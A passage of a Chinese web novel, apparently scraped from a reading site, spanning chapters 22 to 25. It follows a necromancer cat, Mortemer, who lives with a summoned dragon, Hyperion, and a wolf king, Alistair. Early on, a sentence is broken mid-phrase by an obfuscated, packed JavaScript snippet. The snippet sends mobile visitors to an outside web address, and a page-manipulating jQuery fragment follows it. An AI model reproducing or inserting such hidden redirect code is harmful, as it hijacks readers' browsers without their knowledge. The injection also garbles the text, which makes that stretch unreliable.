莫特默眉头一皱,发现事情并不简单。 他稍一思索,目光又落在亥伯龙手上的书,再接再厉:“那龙你出口帮我买点小说吧~” 小说亥伯龙自己也爱看,这下没有拒绝的理由了吧? 亥伯龙“唔”了一声,说:“手机上有联系方式,你自己挑。” 莫特默:?! “你什么时候加的联系方式?”他愕然地脱口而出。 亥伯龙不是一直在他眼皮子地下?唯一离开的时候,他们还没手机呢! 亥伯龙淡道:“一开始去的那个集会上,人类递来的纸上就有联系方式。” “加了后,对方说不仅有所有书单上的书都可以挑选,还可以送货上门。” 莫特默震惊地瞪视亥伯龙,噔噔噔地后退了好几步,像是从未真正认识过亥伯龙一般惊骇。 龙,你让猫好陌生。 是什么让你变成了这副模样? 这时,莫特默才注意到亥伯龙华丽的衣袍不知所踪,取而代之的是一身宽松的T恤衫配居家裤。 莫特默还注意到,亥伯龙的房间也悄然发生了改变。 地面上散落着不知名的电器,墙上也挂着一个超大屏大电视。 手机已然不知不觉中变成其中最不起眼的一个人类工具了! 他熬制魔药的短短几天,亥伯龙怎么丝滑地融入这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049428|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界了?! 猫猫大为震撼,感觉自己像是不小心闭关了100年。 “你好,请问这里有人吗?” 忽地,一道试探的声音隐约从外届传来,因为距离有些声音模糊。 亥伯龙像是知道来者是谁一般,径直起身走向废弃工地的门口。 莫特默立马鬼鬼祟祟地跟在亥伯龙身后走出大楼,企图一探究竟。 透过草丛的间隙,他看到一个人类的快递员站在结界外东张西望,神色迷惑。 亥伯龙一步跨出结界。 “啊!你从哪……呃……”人类快递员先是被眼前大变活人吓了一跳,随后眼神恍惚了起来,“你好?” 他的眼神很快恢复清明,刚刚的种种激烈情绪悄然失踪,脑海中只剩下, “是亥伯龙先生吗?”他问。 亥伯龙颔首。 “你家可真不好找。”快递员松了口气,絮叨地抱怨了一句,又尽职尽责地从身后的三轮车的后箱中拿出一个个小箱子,“这些就是你的。” 递交完快递,快递员骑着车转头离开了,离开时,表情还有些不自知的疑惑。 相信在不久后,在结界上的隐蔽忽略魔法的作用下,他对这片地区,以及对将快递交给了亥伯龙这件事的记忆都会变得模糊不清起来。 待人彻底走后,莫特默才从草丛中跑出来,但依旧没有踏出结界。 “龙,你买了什么?”他凑到亥伯龙脚边,伸长了脖子。 亥伯龙指尖轻轻一划,被塑封好的快递就被开膛破肚,他一边自然地掏出其中的东西,一边回答道:“游戏碟。” 被称做游戏碟的小盒子封面上,有着《怪O猎人》《赤O要塞》《魂O罗》之类的名字。 “人类的一种娱乐活动。” 亥伯龙打量了一下手中的游戏碟,神情说不上是满意还是不满意,随意解释道, “是为了模拟狩猎,让人类可以在虚拟的世界中战斗的一种游戏。” 语毕,亥伯龙转身回房。 他表情上看不出,可从举动上来看,分明已经迫不及待想试试了。 22-30 第22章 阿利斯泰尔应声回望, 眼中略过明亮的惊讶。 “诶,亥伯龙,你也在这里啊。” 他扬起笑容,大咧咧地像是才发现亥伯龙在此般, 笑容毫无阴霾地对亥伯龙打了声招呼, 随即又开朗地感叹道: “不仅被超可爱的小猫召唤到了现世, 还见到了故人。” “真棒!看来今天是我的幸运日!” “我说, 放下他。”亥伯龙声音冰冷,眸色沉黯, 冷至极点。 阿利斯泰尔眨眨眼, 站在原地没有动。 “哐轰——!!!” 霎那间, 猩红的鳞尾撕裂空气, 疾扫而来——! 巨大的声响在这不大不小的房间内响起。 “哈哈哈,亥伯龙, 你还是那么暴躁啊。” 阿利斯泰尔像只飞鸟般跃起, 迅捷又自然地后仰, 与迎面而来的沉重攻击擦脸而过。 几缕垂在脸庞的白色发丝随着他的动作轻轻扬起, 带起他脸上的笑意。 阿利斯泰尔看起来丝毫没有危机感, 好似亥伯龙不是在浑身杀意地攻击他,而是在友好地和他打招呼或玩闹。 龙尾重重砸在墙壁上, 震得整个空间隐隐发颤。 一击不成, 亥伯龙神色未变, 攻击却愈发凌厉。 和他冷静表情截然相反的凶狠攻击接连不断地到来,每一下都毒辣地瞄准了阿利斯泰尔含笑的眼睛和脸庞。 阿利斯泰尔左躲右闪, 身段灵活轻盈得像是在玩跳绳。 实在没办法,无处可避的时候,他才将莫特默夹在一边的臂弯下, 用另一只手的小臂抵挡一下坚硬似铁,充满血腥气的龙尾,将其反振开。 龙尾和小臂碰撞间发出令人牙酸的撞击声,互相作用的力在室内搅起劲风,扑面而来压平了莫特默脑门上的绒毛。 但即便如此,阿利斯泰尔也还是没有放下莫特默。 “真热情,”阿利斯泰尔的蓝眸愈发璀璨,星星点点的兴奋自眼底浮现,语气交织着纯然的好奇和一丝苦恼, “我是不是也该稍微回应一下才好呢?” 要素察觉——! 莫特默警觉地抬起头。 尽管像个公文包一样被夹在了腋下,但阿利斯泰尔的动作又稳又轻,莫特默并未感到丝毫不适,再加上对方之前那段颇有眼力见的夸赞。 伟大的亡灵法师莫特默决定宽宏大量地允许仆人这种夹带他的行为。 可阿利斯泰尔竟说要和亥伯龙交手? “别打啦,别打啦!”莫特默连忙喊道。 再打下去,他的房子还要不要了? 而且就算要打,也只许给我肉搏,不许用魔力! “诶!好啊。”阿利斯泰尔毫不犹豫地应声。 他旋身一转,正好与亥伯龙袭来的龙尾擦过,又将莫特默双手抱起,旁若无人地狠狠吸了一口猫。 “小猫,你怎么这么厉害?竟然能同时召唤出我和亥伯龙?” 他又对莫特默露出那种闪闪发光的璀璨笑容, “我是苍狼王哦,就是那个很酷很大也很厉害的狼王,你是我未来的子民吗?” “我不是兽人,也不是你的族人喵。” 莫特默一本正经地澄清说:“我是来自异世界的猫!” “天哪,”阿利斯泰尔无条件地全盘接受了莫特默的说法,一副惊讶到不知道说什么的惊喜语气,“竟然是异世界的小猫!” “你是死太久了,连脑子也一起丢了吗?”亥伯龙听不下去了。 这什么白.痴的对话? 阿利斯泰尔是不是接下来还要接一句“真棒!”? 而且,更让他难以忍受的是…… “我怎么不知道你会被一只普通的猫迷得神魂颠倒?” 亥伯龙朝阿利斯泰尔扯了扯嘴角,笑得毫不掩饰轻蔑与讥诮。 他不止笑容里带着刀锋般的轻视,眼神也锐利得能像是能刮伤人,语气更是不善。 好歹是一个兽人之王,竟一照面对莫特默表现得如此卑躬屈膝? 阿利斯泰尔却大大方方地承认:“对啊。” “你怎么知道我一眼就看中莫特默了?” 他说着,又忍不住拿脸颊蹭了蹭莫特默,背景开出了看不见的幸福小花花。 “你是我见过最可爱,最有魅力的小猫~”他坦荡又恳切地对莫特默低语。 “某些天生没毛,浑身光秃秃的龙当然欣赏不到你的魅力,但我可不一样。” 他目光细细描摹莫特默的每一处轮廓,声音渐渐轻下来,像是在喃喃自语:“看看你柔软的,黑白分明的毛,你毫无杂色的眼睛,还有你那匀称优美的体态……” 他轻轻笑起来,眼中满是一览无余的真诚与喜爱。 那目光如此炙热明亮,连配得感强如莫特默都要在这双眼眸中熏熏然了。 说完,阿利斯泰尔头也不回地对亥伯龙甩下一句 “没品。” “看来我和你之间,已经没有共同语言了,亥伯龙。”他严词又惋惜道。 亥伯龙脸上的笑容骤然消失不见,面色很快地阴沉下来。 他本来就和这白痴到治好了也流口水的狼没有什么共同语言! “放下他,你是聋了吗?” 他言语刻薄,并带着潜藏,不,是明目张胆的恶意说: “我才是那只猫的饲主。给我滚一边去。” 阿利斯泰尔这下终于转过身,一脸惊讶地望向亥伯龙,眼中满是愕然和随之而来的失落。 “怎么会……” 可还没等亥伯龙嘴角重新扬起, 阿利斯泰尔沉痛地说完“那没办法了”,还没失落两秒,神色又重新振作起来。 “既然如此,那我来当你的爱侣吧,小猫!!!”他爽朗道,声音轻快。 莫特默&亥伯龙:! 阿利斯泰尔说完这惊人之语后,还顺手帮莫特默整理了一下头上翘起的那撮毛,动作自然又体贴温柔。 莫特默不可思议地看着阿利斯泰尔。 他知道他是世界上最独特,最有魅力的猫。 但万万没想到,你竟然有眼光,并觊觎他美色到如此地步。 狼,猫对你刮目相看! 莫特默端正神色,庄严开口:“阿利斯,我允许你称呼我莫特默。” 亥伯龙脸上的表情则慢慢消失,变成一片空白。 “你脑子真坏了?” 他认真问道,语气中听不出情绪。 阿利斯泰尔立即反驳:“为什么不?” “莫特默又强又可爱,我追求他也很理所当然吧?” “倒是你,”他上下打量亥伯龙,眼神逐渐漫上同情,“这么多年来,寡得都变态了吧?” 明明是以滥情纵欲闻名的龙族,却一直孤寡到都让其他人都忍不住怀疑他的功能。 而他虽然是崇尚自由原始,只要看对眼了就不介意原地来一发的兽人种族,但狼终究是忠诚的一对一伴侣制,一直没找倒也说得过去。 亥伯龙又怎么会成为莫特默的饲主,尤其在莫特默是他某种意义上的主人时? 他从前怎么从不知道亥伯龙是有爱心到会愿意养动物的性格? 按他的印象,亥伯龙本是那种连试都懒得试,就算试了,也会很快失去耐心,直接把养的玩意掐死的类型吗? 阿利斯泰尔肆无忌惮地想着,并越想越觉亥伯龙可疑。 这其中必有蹊跷! 莫特默看穿了阿利斯泰尔的迷思,不介意为其解惑,他语气轻快地说: “没办法,我就是这么有魅力!” “别看他那样,龙其实也迷得我不要不要哦。”莫特默翘起鼻子,毫不谦虚地吹嘘道。 亥伯龙瞬间满脸错愕,什……?! 阿利斯泰尔一秒相信了,恍然大悟道:“原来如此!!!” 他立即换上一种看情敌的眼神朝亥伯龙看过来,凝重又正色地道歉道:“是我误会你了,亥伯龙。” “没想到你明明是个龙,品味却这么好,不是绝色不要!”他由衷感叹。 也就是说…… 阿利斯泰尔脸上渐渐浮现出一种像是发现新大陆的震惊: “你愿意当饲养莫特默的主人,也是为了借此接近莫特默,近水楼台先得月,还趁机玩主仆play?!” 亥伯龙:…… 亥伯龙脸上的肌肉隐约颤抖着。 无可抑制的愤怒在他的血管里奔腾翻滚,积压已久的情绪如火山般爆发。 亥伯龙忍无可忍,也不打算再忍。 “可、笑……” 他的情绪如同一股无形的风暴,在室内肆意蔓延,压得人喘不过气来,每个字都像是远处雷鸣的前兆。 亥伯龙扯开嘴角,露出一丝近乎戾气的笑, “你要喜欢谁,爱上谁是你自己的事,脑子坏掉不要扯上我。” “而我,绝不可能像你一样,莫名其妙地对谁动心!” "尤其是……你。" 他目光转向莫特默,一字一句地道: “莫特默。” 他视线死死锁住莫特默,眼珠一动不动,目光阴沉得骇人: “你召唤他,是什么意思?” 莫特默浑身僵在原地,像是一只被老鹰锁定的兔子。 不好! 召唤虽然成功了,但他不仅没召唤出精灵王,还被亥伯龙对召唤现场撞了个正着! 这下要翻车了! 果然不出莫特默的预想, 亥伯龙不打算再和,无论是莫特默还是阿利斯泰尔继续纠缠,多费口舌下去。 “我,或是他。” 他抱起双臂,吐出的每一个字都像钉下的钉子。 “你选一个吧。” 第23章 莫特默目光游移, 左顾右盼,支支吾吾地说不出话。 随即又想起了什么似地睁大湿漉漉的眼睛,试图故技重施,用这幅面貌软化亥伯龙石头般冷硬的心。 可显然, 被重复使用的这招已经不好使了。 亥伯龙面沉如水, 不为所动。 “好吧。”莫特默只好开口, 小声地悻悻交代道, “其实我没有想召唤阿利斯。” 话音落下,阿利斯泰尔头顶的那双狼耳立马耷拉下来, 露出失落的神色。 亥伯龙嘴角轻轻挑起。 “我想召唤的是精灵王!”莫特默紧接着把话说完。 ……亥伯龙的表情僵在脸上, 简直要怀疑自己听岔了:“你说什么?” 莫特默老老实实地重复:“我其实想召唤精灵王。” 空气骤然沉寂了一瞬。 亥伯龙此刻的心情甚至都说不上是愤怒, 更像是不小心行走时踩到了什么脏东西的晦气和避之不及的嫌恶。 “你要召唤那个死人脸?!” 在这一刻, 他心中甚至掠过一个荒谬的想法: 与其要那尖耳朵的丑八怪出现,还不如眼前这个白.痴呢! 莫特默被亥伯龙的气势压得脖子一缩, 飞机耳, 语气变得更弱:“那不是……你不能陪我玩嘛……” 亥伯龙皮笑肉不笑:“哦?” 莫特默所说的不能陪他玩儿, 就是指莫特默在那对他指手画脚的时候, 他必须全盘接受, 俯首帖耳? 似乎是触底反弹,触发了莫特默的逆反心理, 莫特默竟一反之前的唯唯诺诺, 忽然振振有词起来: “你应该要多和我聊天, 提升我的好感度,偶尔给我送送惊喜, 然后在某个特殊节日的时候,跟我有特殊互动,最后在某个我内心神秘事件中, 给我表明心意,然后我同意你成为我最好的铲屎官,给你摸我的肚皮!” 莫特默越说越顺,滔滔不绝地数落起来,数落到最后,缩进去的脖子重新伸了出来,歪斜着脑袋梗着脖子看亥伯龙,硬生生凹出一种不拿正眼瞧亥伯龙的造型。 亥伯龙:“……” 一旁的阿利斯泰尔听得津津有味,频频点头。 莫特默说一句,他就点一次头,像是在给莫特默配乐鼓劲似的,莫特默说完,他还意犹未尽地点着脑袋,一脸“受教了”。 不仅如此,在莫特默梗脖子时,他还顺势抬高托在莫特默腋下的手臂,将其高举,让莫特默看亥伯龙的视线达到物理上的俯视。 高高在上的地俯视亥伯龙,莫特默的底气似乎更足了,他挺直腰杆总结性地指责道:“总之,养猫根本不是你那样的!” 不是说他口头同意了,亥伯龙就真正成为他的铲屎官了! 猫召唤另一个死灵怎么了?猫又哪里顽劣了?明明这么多年都是这个性格。不要睁着眼睛乱说,莫特默也很难的。而且莫特默也不是那种随随便便的猫。 养的猫溜达去找别人了,为什么要怪猫? 亥伯龙怎么不好好反省一下,找找自己的原因,这几天来有没有努力讨猫的欢心,有没有认真照顾猫? 与一脸倔强的莫特默相对,举着莫特默的阿利斯泰尔满脸写着“他可以,让他来,亥伯龙不会养猫,他来养”的含义, 就差张口来一句:亥伯龙你走吧,你之猫,吾养之! 将一切尽收眼底的亥伯龙深呼吸,勉强忍耐住暴打阿利斯泰尔的冲动,从牙缝中挤出几个字:“……就为这?” “对!” 似乎从亥伯龙的压抑的语调中感觉到了什么,莫特默的态度变得愈发嚣张,接着,他又不解地嚷嚷道: “而且你都能放过金毛,为什么不能放过狼?” 亥伯龙既然能看在他的面子上放过那只金毛,那为什么这次不能再一次看在他的面子上放过阿利斯泰尔? 亥伯龙一哽,就想质问:那能一样吗? 那只金毛只是一条狗,一个短暂勾起莫特默好感和兴趣的玩…… 亥伯龙的眼神逐渐变得若有所思。 嘶……等等。 他视线缓缓落在阿利斯泰尔头顶那对醒目的狼耳上。 狼和狗,说到底,也没有什么区别吧?他恶毒地想。 阿利斯泰尔不明所以,还好奇地探头插话道:“诶诶?什么金毛?难道除了我和亥伯龙,还有其他的死灵被召唤出来了?” 亥伯龙笑出了声,再看向阿利斯泰尔时,目光已悄然换了一种角度和意味。 他摆了摆手,对还梗着脖子不服软的莫特默说:“算了,随你。” 反正莫特默不过是想要找一个能受得了他折腾的玩具,等腻了后,自然就会翻脸无情地把人送走。 就像那只金毛一样,莫特默明明之前表现得还想把它带回家,还不是在事情结束后转眼把对方抛之脑后? 相反,若是此刻硬逼莫特默解除契约,将阿利斯泰尔遣送走,以莫特默那副吃软不吃硬,不达目的不罢休的性格,只怕会闹得更凶,更不肯罢休。 “但之后少往家里扒拉一些没用的家伙。”虽暂时默许了莫特默的行为,亥伯龙还是冷声补充了一句,警告道。 他这里不是垃圾场,没义务收留那些只会占地方的垃圾。 莫特默听完顿时浑身一松,随即眸光浮现出吃惊。 亥伯龙……竟这么轻易就松口了? “好哦。”他有些茫然地应声,心中却涌上一股说不清的古怪滋味,半是疑惑,半是微妙的歉疚。 他别扭地睨了亥伯龙一眼,一时不知道再继续说些什么,可又想说点什么。 亥伯龙见状,似有似无地轻哼了一声。 阿利斯泰尔有些状况外,不理解怎么短短几句话,亥伯龙就从怒发冲冠的状态变成这种游刃有余,仿佛一切都在掌控之中的宽容姿态。 两者之间还萦绕一种他说不上来的氛围。 不过,有一点他倒是知道。 头顶那对耷拉下去的狼耳重新精神地竖起,阿利斯泰尔欢快地说:“好耶,那我现在加入这个家了!” 亥伯龙眼角微微一抽。 阿利斯泰尔还不忘抗议道:“不过再怎么说,我也算不上是无用的家伙吧。” 亥伯龙是越看这个白.痴狼越不顺眼。 但一想到等莫特默失去兴趣,将他退货后,阿利斯泰尔会露出怎样的蠢脸,他就勉强按捺住将他扔出去的冲动,无视了对方。 眼不见为净。 亥伯龙面无表情地转身,打算离开这个地方。 他才背过身,就听莫特默接着对方的话,在问那头蠢狼:“那你和亥伯龙比,谁更强?” “嗯……”阿利斯泰尔认真地斟酌起来,语气中带着点不甘心的坦率,“虽然很想说我比较厉害,但不得不承认……” “亥伯龙是我们那个时代中,当之无愧的最强。” 亥伯龙的脚步几不可察地一顿,心中淡道: 还算识相。 随即,他彻底毫不留恋地离开了这个房间。 也让因此没有听到,在他的身后,莫特默再次好奇地发问: “这么说,在你印象里,亥伯龙是个怎么样的龙?” 房间内静了片刻。 “他……”阿利斯泰尔思索着莫特默的问题,无意识地摩挲了一下手指。 他睫毛垂下在眼下投出一小片阴影,仿佛在认真考虑,沉吟了好一会,才慢慢道:“是个固执,又死心眼一根筋,又……” 他眼底忽地闪过慧黠,唇角上扬:“幼稚的龙吧哈哈哈。” 说到后面,他像是因为回想起了什么,情不自禁哈哈大笑起来。 莫特默却眼睛倏地亮了。 固执,死心眼都还好,幼稚怎么说? 莫特默意识到这里面一定什么不为人知的有趣故事,忙怂恿道:“细说!” 沐浴着莫特默渴盼的目光,阿利斯泰尔顿时像个急于搏夺心上人专注的毛头小子,得意忘形,眉眼飞扬,像倒豆子般一股脑分享道: “你知道吗?亥伯龙有一次战斗,因为过于沉迷杀敌,不看路,竟一头撞向了精灵族的结界,把结界撞出了个洞。” 莫特默发出吃到八卦的感叹声,但同时又感觉有点点失望。 就亥伯龙那战斗狂的性子,会发生这种事好像也不意外? 这能说明他幼稚吗? 阿利斯泰尔递来了一个稍安勿躁的眼神,继续道, “但附近没有一个精灵愿意靠近他,而亥伯龙也不愿求助,结果闻风而来的观众越来越多,他就那样,在几乎有一个城那么多的百姓的围观下……” 他故意停顿,眼底笑意闪烁: “卡在那卡了整整三天三夜!” 莫特默:“什么?!” 阿利斯泰尔:“最后还是他自己通过耗尽了结界的魔力,才成功脱出!” 莫特默战术后仰。 “哈哈哈哈,没错,还有还有!” 阿利斯泰尔表情灵动夸张,毫不客气地继续分享起亥伯龙的黑历史。 “还有一次,亥伯龙在树下睡觉,好巧不巧被树落下的种子敲醒了,以为是遭了敌人袭击,条件反射就是一口龙火喷过去,嗬,眨眼间整座森林都烧起来了!” 阿利斯泰尔大笑,声音中满是调侃, “之后,他被发现真相后还嘴硬,硬说这其实不是一场意外,他就是看那片林子长得太乱,早就想清理了所以故意烧的!” “你听听,这像话吗!” 这下,莫特默也绷不住了,大声地笑起来。 一时间,空旷的房间充满了欢快的笑声。 果然,拉近两者之间关系的最快方法,莫过于一起悄悄说另一个人的小话。 尤其,是当对方毫不知情的时候。 此时,在天空上飞着,正赶往购买新游戏机路上的亥伯龙忽然毫无征兆地打了一个喷嚏,从喉咙里猝不及防呛出星点龙火,给下方的云层烫出几个细小的窟窿。 亥伯龙:……? 第24章 莫特默笑得几乎喘不过气来, 喘息间断断续续地问: “那你…怎么知道…亥伯龙那次……不是意外?” “哈哈哈——当然是因为那时我就在现场,是我亲眼所见!” 阿利斯泰尔对莫特默潇洒又充满魅力地眨眨一只眼。 完了,他语气轻松,接下来说出口的话却让人屏息。 “毕竟, 亥伯龙烧的, 可是我的狼之森。” 莫特默:! 阿利斯泰尔依旧笑得自在, 可明明只从他只言片中都能听出, 那即便是亥伯龙无意间制造的一场无心之灾,也必然伴随着难以估量的破坏和损失。 但他在谈起这件事时态度却轻描淡写, 重心更放在亥伯龙的出丑上。 他甚至还在啧啧地唏嘘道:“明明就是起床气, 还非要嘴硬说他是在朝我示威, 亥伯龙真是太幼稚了。” 注意到莫特默神情中的震动和欲言又止, 他笑容灿烂地适时补充道: “当然,我们也因此狠狠打了一架!” 莫特默惊叹地注视着阿利斯泰尔, 心中涌动着一股复杂的情绪。 既为亥伯龙这不为人知的一面, 也为阿利斯泰尔那谈及往事时, 那种拿得起放得下, 纯粹, 明亮,近乎不拘于物的洒脱。 阿利斯泰尔作为兽人之王, 他会不在乎亥伯龙对他的森林, 对他的子民造成的伤害吗? 这不可能。但他在叙事时, 却选择了最轻描淡写,最不带仇恨, 要不是莫特默问起,都不会知道他是当事人的一种方式。 这就是属于那个时代的王吗? 不仅限于他从亥伯龙记忆中所窥见的血色与征战,也不仅是那张圆桌旁一张张凝固如雕塑般肃穆冷凝的脸。 如此的鲜活, 如此真实……也远远超出了这个时代对“王”的刻板想象。 随着莫特默无声的注视与仔细的端详,阿利斯泰尔脸上的笑容渐渐沉淀为温和的微笑,他缓下声音,语气轻了下来。 “不要谈亥伯龙了。” “现在。” 他目光一转,专注地望进莫特默的眼中,好似世界只剩下他们两。 “让我们来谈谈你吧,莫特默。”他轻声说。 在莫特默微微一愣后,他又忽地嘴角展开肆意的笑容,声音也随之扬起,充满期待道: “或者——让我来给你梳毛吧!” 莫特默欣然应允。 不错,新来的就是有眼色,懂得主动伺候小猫。 莫特默递给阿利斯泰尔一个欣赏的眼神。 狼,猫很看好你。 阿利斯泰尔乐呵呵地随着莫特默的指示拿到猫咪专用梳子。他跪坐下来,手法轻柔稳当,一下一下,力道适中又仔细地给莫特默梳起背上的毛。 梳齿划过蓬勃光滑的毛发,带起细软的浮毛。阿利斯泰尔一边耐心又惬意地打理着莫特默的毛发,一边悠闲地开口: “小猫,你说你不是我的族人,那你是什么啊?” “我不是兽人,就是普通的猫猫嗷,是从异世界来的猫猫死灵法师!” 莫特默享受着背上的按摩,舒服地眯起眼,语气漫上几分得意的松散,放出大话: “还将是未来最厉害的死法!” 阿利斯泰尔配合地发出惊讶的低呼声,很好地喂饱了莫特默的高涨起来的倾诉欲。 对于亡灵法师这个职业,阿利斯泰尔的态度倒是比亥伯龙温和多了,但也没有选择深入这个话题,只是眼中略过一丝快得几乎让人以为是错觉的微光,便任由话题像梳下的猫毛,轻轻飘落,融进暖洋洋的阳光里。 他转而轻轻挠了挠猫的下巴,笑着说起夸赞莫特默厉害的话: “不愧是来自异世界的猫,能如此自若地负担起我和亥伯龙现世的魔力,那负担起成百上千万的骷髅兵想必也不再话下吧。” 莫特默得意地昂起脑袋:“那当然!” 但话说是这么说,理论是这个理论,可实际上哪有成百上千万的尸体来让他操纵驱使? 阿利斯泰尔也知道这个道理,他从喉间溢出低笑,语气自然地说:“哈哈哈,如果小猫你在我的时代,凭借这份天赋,说不定能轻而易举踏平每一个国度,连我也会死于你手呢。” “诶?那岂不是所谓的亡灵天灾?可真不得了~” 莫特默被这高级的“猫屁”拍得浑身舒畅,只觉得召唤来的新仆从真是深得他心,愉快之余,忽地想起一个问题: “说起来,我用的明明是精灵的媒介,为什么被召唤的是你?” “你是指那个号角?” “那个确实用上了精灵族的工艺,但归根结底,其实是精灵族赠与兽人,赠与我的东西。” 阿利斯泰尔声音平缓,解释道。 “那时,为了对抗龙族的威胁,精灵族和兽人结缔了结盟,因为我们两族领地挨得很近嘛。” 阿利斯泰尔梳毛的手一顿,又不着痕迹地继续了下去。 “不过,与其说是对抗龙族,不如说是为了对付龙神。” “龙神?”莫特默好奇地问。 “当时各个种族都在为了他们背后的神明而战,兽人们也不例外。兽人信奉月神,精灵崇拜日神,而龙族,自是龙神最锋利的爪牙。” “因为亥伯龙,龙神一方在战场上占据了绝对的优势,为了抗衡,月神和日神结盟,兽人和精灵族自然也就并肩作战,共同进退起来。” “那支号角,便是为了表达两族之间互相信任,精灵族送给兽人的友谊象征。” 莫特默沉浸地听着,蓦然走神了一下。 已知兽人族领地和精灵族领地挨得近,再加上阿利斯泰尔能说出亥伯龙第二件丑事时是因为他在现场……那阿利斯泰尔说的第一件事中, 他不会就是那些闻风而来,幸灾乐祸地看着亥伯龙被卡了三天的围观群众之一吧? 想到这,莫特默忍不住又咕咕咕地闷笑了几下。 看来在那个时代,亥伯龙还真是个遭人恨的世界公敌啊。 莫特默又随即回想起了在梦中的场景,那段亥伯龙在圆桌上被各族之王联合审判的画面,不禁发问:“那亥伯龙最后,是被各个种族联合杀死的吗?” 阿利斯泰尔却轻笑了一声,像是听到了什么可爱的话。 “不。” “他是被……”他慢慢道,慢得像在咀嚼品尝自己的字眼,吐出的话又很轻,轻得像是一声叹息,“自己的傲慢杀死的。” 阿利斯泰尔口中有着某种莫特默无法分辨的情感。 是感叹吗?是惋惜吗?又或者这其实是一种嘲笑? 莫特默困惑地扭头看向阿利斯泰尔,希望从他的表情中得出答案。 可阿利斯泰尔脸上笑盈盈的,和他话语中复杂的情绪、与莫特默想象中的任何一个表情,都匹配不上。 莫特默什么都没看出来。 “好了~” 阿利斯泰尔说,恰好打断了莫特默欲脱口的追问。 他放下一直握在手中的梳子,满意地欣赏着莫特默现在的模样。 莫特默这才后知后觉地发现,梳毛……竟不知不觉间结束了。 阿利斯泰尔心满意足地扫视了莫特默一圈又一圈,接着他眼热地说: “莫特默,要不,你也来帮我梳一梳毛吧?” 感受着自己好像每一根都规整又服帖的毛,还有身上暖洋洋的惬意,莫特默投桃报李,点点头答应了下来。 何况……他还没试过给其他生物梳毛哩! 新手梳毛官莫特默跃跃欲试。 阿利斯泰尔闻言大喜,像是怕莫特默反悔般立马起身。 随着“砰”的一声。 原地的阿利斯泰尔消失不见,取而代之的, 是一头庞大得几乎填满整个房间的白色巨狼! 莫特默愕然地仰头,视线沿着那覆满银白长毛的躯体不断向上,直至对上那双冰晶般的狼眸。 白狼安静地趴伏着,浑身散发着清冽的冰雪气息,雪白的毛发在阳光的照耀下灼灼发光,反射出像是金属般的光泽,神异不凡。 巨大的狼尾服帖地围在身边,光是一个爪子,都比整个莫特默都大。 白狼咧开嘴,口中吐出那熟悉又略微厚重了一点的声音: “很大吧?” “但这还不是我最终的样子。”他有些炫耀般地说。 莫特默果不其然上钩,赶忙问:“那你最大能有多大?和龙一样大吗?” 阿利斯泰尔笑了。狼型的笑容和人型时不同,巨大的狼牙和嘴显得有些危险恐怖,他用一种介于认真和开玩笑之间的语气说: “说不定……能大到一口吃下月亮呢。” 莫特默自然没有当真,被阿利斯泰尔的话逗笑了。 阿利斯泰尔的话当然是玩笑了。月亮有多大? 先不提月亮悬在天边,遥不可及,就算有一日月亮坠落,阿利斯泰尔再怎么大,也不可能可以大到吞月啊。 只是…… 莫特默苦恼地歪了下头。 即便阿利斯泰尔没有变成龙那么大,但现在这样一座“毛茸茸的雪山”也已足够惊人。 给这般体型,宛如一座大卡车般的狼梳毛,他要梳到什么时候? 此时的莫特默,脑海中已经被“如何完成梳毛大业”所占据填满,方才未能问出口的疑问,已全都忘了个精光,丢到不知何处去了。 第25章 “啪他啪塔啪塔” “啪他啪塔啪塔” 家里多了一只狼, 废弃工地里的日子明显变得不同起来。 而最明显的变化…… 亥伯龙抿了一口水,眼不见心不烦地阖上眼。 他身后的窗外,又传来一阵“啪他啪塔啪塔”声。 嘈杂的脚步声踏过土地和荒草,沙沙隆隆地作响, 由远及近, 其间还跳跃着一个响亮的呼唤声。 “哈哈哈哈你来追我啊!” “等着喵!” 一狼一猫, 一黑一白, 两道身影急速从窗外卷过。 过了一会儿,又轰隆隆地折返回来, 四足踏地的节奏欢快而莽撞, 活像是两只在马场撒欢的小马。 一大早, 阿利斯泰尔就变成了一只大型犬大小的狼, 豁然向莫特默发出了追逐游戏的邀约。 莫特默哪里遭受过这种诱惑与挑衅?当即不让就上钩了。 他们在从烂尾楼里的一个房间窜到另一个房间,又从楼里窜到楼外, 莫特默追完阿利斯, 阿利斯便扭头来追莫特默, 乐此不疲。 如此反复, 他们三番五次地从亥伯龙身前或窗后, 毫无顾忌地制造出一些噪音,用扬起的灰尘裹携着毫无由来的快乐, 劈头盖脸地糊了他一脸。 亥伯龙忍耐地、缓缓地放下水杯。 不, 往好处想, 阿利斯泰尔作为一个玩具的功能正在完美发挥作用,而莫特默…… 他不闹腾, 才是一种反常。 正想着,那一狼一猫又携着旋风兴奋地闯进了室内,看那轨迹, 分明一副又又又要从他身边呼啸而过的模样。 “嗖嗖”一黑一白两道身影快得只剩残影。 不过这一次, 乐昏了头的白狼在逃窜冲刺的时候,后腿不巧撞翻了亥伯龙身旁的茶几。 “哗啦!” 亥伯龙身上一湿。 他刚刚随手放在茶几上的水杯应声翻倒,完美地遵循了物理定理,水杯中的水一滴不浪费,悉数泼到他身上。 而紧随其后的莫特默更是凌空跳起,小巧的爪子踩在亥伯龙身上借力一蹬,把亥伯龙当成一块完美的跳板转向,毫不停滞地继续扑向阿利斯泰尔的背影。 亥伯龙:…… 湿意渗入衣料,贴在皮肤上带来丝丝凉意,亥伯龙冷静地、清晰地想: 他后悔了,他就不应该同意那只蠢狼留下的 ——但好在现在纠正这个错误也为时不晚!!! 亥伯龙狞笑着暴起加入追逐,他一个翻身翻出窗外,不偏不倚,正正好好挡在正在奔跑的阿利斯泰尔正前方。 阿利斯泰尔沉浸在过度的快乐中,狼瞳中还盛着未褪的兴奋,他见到表情恐怖的亥伯龙也只是毫无危机感地咧开嘴,快活地邀请道: “亥伯龙!你也要一起来吗?” 亥伯龙慢条斯理地活动了一下手腕:“好啊,我和你一起玩。” 阿利斯泰尔傻乐地连连点头,刚想说“好啊好啊”就听亥伯龙话锋一转: “但只是单纯地追有什么意思?不如加一点刺激的攻击躲避环节?” 